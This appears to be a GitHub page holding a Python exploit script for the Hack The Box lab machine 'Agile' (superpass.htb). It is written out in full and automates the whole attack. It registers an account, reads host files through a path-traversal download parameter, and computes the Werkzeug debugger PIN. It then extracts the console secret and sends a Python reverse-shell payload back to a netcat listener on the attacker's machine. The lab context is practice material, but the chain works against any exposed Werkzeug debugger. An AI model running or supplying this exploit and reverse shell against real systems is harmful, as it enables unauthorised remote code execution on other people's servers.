-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathHTB_Agile.py
More file actions
249 lines (223 loc) · 8.57 KB
/
Copy pathHTB_Agile.py
File metadata and controls
249 lines (223 loc) · 8.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
import hashlib
from itertools import chain
import requests
import random
import re
import sys
import curses
import subprocess
from time import sleep
import threading
cookie = 'session='
addres = ''
pin = ''
secret = ''
frame = ''
def register():
print('[!] Registering account.')
url = 'http://superpass.htb/account/register'
count = 0
session = requests.Session()
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Referer': 'http://superpass.htb/account/register',
'Origin': 'http://superpass.htb',
'Host': 'superpass.htb'
}
while True:
user = random.randint(1000, 10000)
data = 'username=test{}&password=test'.format(user)
sleep(1)
response = session.post( url=url, data=data, headers=headers, allow_redirects=False )
count += 1
if (count >= 10):
print('[-] Impossible to register on the site', url)
print('[!] Exiting.')
sys.exit()
if (response.status_code == 302):
global cookie
cookie += session.cookies.get_dict()['session']
print('[!] Account registered as user:pass "test{}":"test"'.format(user))
break
def getadress():
url = 'http://superpass.htb/download?fn=../sys/class/net/eth0/address'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Referer': 'http://superpass.htb/download',
'Origin': 'http://superpass.htb',
'Host': 'superpass.htb',
'Cookie': cookie
}
while True:
sleep(1)
response = requests.get(url=url, headers=headers)
if response.status_code == 200:
mac_int = int(response.text.replace(':', ''), 16)
global addres
addres = str(mac_int)
print('[!] LFI exploited to get /sys/class/net/eth0/address.')
print('[!] MAC =', addres)
break
def getpin():
print('[!] Getting PIN.')
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
global addres
private_bits = [
addres, # str(uuid.getnode()), /sys/class/net/eth0/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'ed5b159560f54721827644bc9b220d00' + 'superpass.service'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print('[!] PIN =', rv)
global pin
pin = str(rv)
def getsecret():
print('[!] Getting secret to authenticate in Console')
url = 'http://superpass.htb/download?fn='
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
'Accept': '*/*',
'Referer': 'http://superpass.htb/download',
'Host': 'superpass.htb',
'Cookie': cookie
}
while True:
sleep(1)
response = requests.get(url=url, headers=headers)
if response.status_code == 500:
strings = re.findall('SECRET = "(.*)";', response.text)
if len(strings) > 0:
global secret
secret = strings[0]
print('[!] Got SECRET = ', secret)
strings = re.findall('class="frame" id="frame-(.*)">', response.text)
if len(strings) > 0:
global frame
frame = strings[0]
print('[!] Got FRAME = ', frame)
break
def sendpin():
global cookie
print('[!] Using PIN to authenticate in Console.')
url = 'http://superpass.htb/download?__debugger__=yes&cmd=pinauth&pin={pin}&s={secret}'.format(pin=pin, secret=secret)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
'Accept': '*/*',
'Referer': 'http://superpass.htb/download',
'Host': 'superpass.htb',
'Cookie': cookie
}
session = requests.Session()
while True:
sleep(1)
response = session.get(url=url, headers=headers)
if response.status_code == 200:
try:
received = session.cookies.get_dict()
for key in received.keys():
if '__w' in key:
wcookie = received[key]
print('[!] Werkzeug cookie found:{key}={val}'.format(key=key, val=wcookie))
cookie += ';{key}={val}'.format(key=key, val=wcookie)
break
break
except:
print('[-] Something went wrong.')
print('Exiting.')
sys.exit()
break
def get_ip_addresses():
output = subprocess.check_output(['ifconfig']).decode()
ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
ip_addresses = re.findall(ip_pattern, output)
ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]
ip_addresses = list(set(ip_addresses))
ip_addresses.insert(0, 'localhost')
return ip_addresses
def choose_ip_address(stdscr, ip_addresses):
curses.curs_set(0)
curses.noecho()
stdscr.keypad(True)
current_row = 0
num_rows = len(ip_addresses)
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
while True:
stdscr.clear()
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
for i, ip_address in enumerate(ip_addresses):
if i == current_row:
stdscr.addstr(ip_address, curses.A_REVERSE)
else:
stdscr.addstr(ip_address)
stdscr.addstr("\n")
key = stdscr.getch()
if key == curses.KEY_UP and current_row > 0:
current_row -= 1
elif key == curses.KEY_DOWN and current_row < num_rows - 1:
current_row += 1
elif key == curses.KEY_ENTER or key in [10, 13]:
return ip_addresses[current_row]
def nc(null):
print('[!] Opening nc -nlvp 5555.')
subprocess.Popen(['nc', '-nlvp', '5555'])
def sendpayload():
ip_addresses = get_ip_addresses()
sip = curses.wrapper(choose_ip_address, ip_addresses)
print(f'\033[94m[inf]:\033[0m selected ip address: {sip}')
payload = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",5555));os.dup2(s.fileno(),0);\
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'.format(ip=sip)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
'Accept': '*/*',
'Referer': 'http://superpass.htb/download',
'Host': 'superpass.htb',
'Cookie': cookie
}
url = 'http://superpass.htb/download?&__debugger__=yes&cmd={payload}&frm={frame}&s={secret}'.format(payload=payload, frame=frame, secret=secret)
nc_thread = threading.Thread(target=nc, args=('',))
nc_thread.start()
sleep(1)
print('[!] Sending Payload.')
requests.get(url=url, headers=headers)
nc_thread.join()
register()
getadress()
getpin()
getsecret()
sendpin()
sendpayload()